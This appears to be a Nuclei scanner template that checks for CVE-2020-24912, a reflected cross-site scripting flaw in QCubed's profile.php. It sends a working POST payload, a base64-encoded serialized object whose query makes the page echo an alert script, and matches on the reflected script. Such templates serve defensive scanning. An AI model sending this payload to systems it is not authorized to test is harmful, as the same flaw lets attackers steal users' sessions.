id: CVE-2020-24912

info:
  name: QCube Cross-Site-Scripting
  author: pikpikcu
  severity: medium
  description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
  reference:
    - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03
    - https://github.com/qcubed/qcubed/pull/1320/files
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24912
    - http://seclists.org/fulldisclosure/2021/Mar/30
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24912
    cwe-id: CWE-79
    cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*
    epss-score: 0.00187
  tags: cve,cve2020,qcubed,xss,seclists
  metadata:
    max-request: 3

http:
  - method: POST
    path:
      - "{{BaseURL}}/assets/_core/php/profile.php"
      - "{{BaseURL}}/assets/php/profile.php"
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K="

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "<script>alert('xss')</script>"
        part: body

      - type: word
        words:
          - 'Content-Type: text/html'
        part: header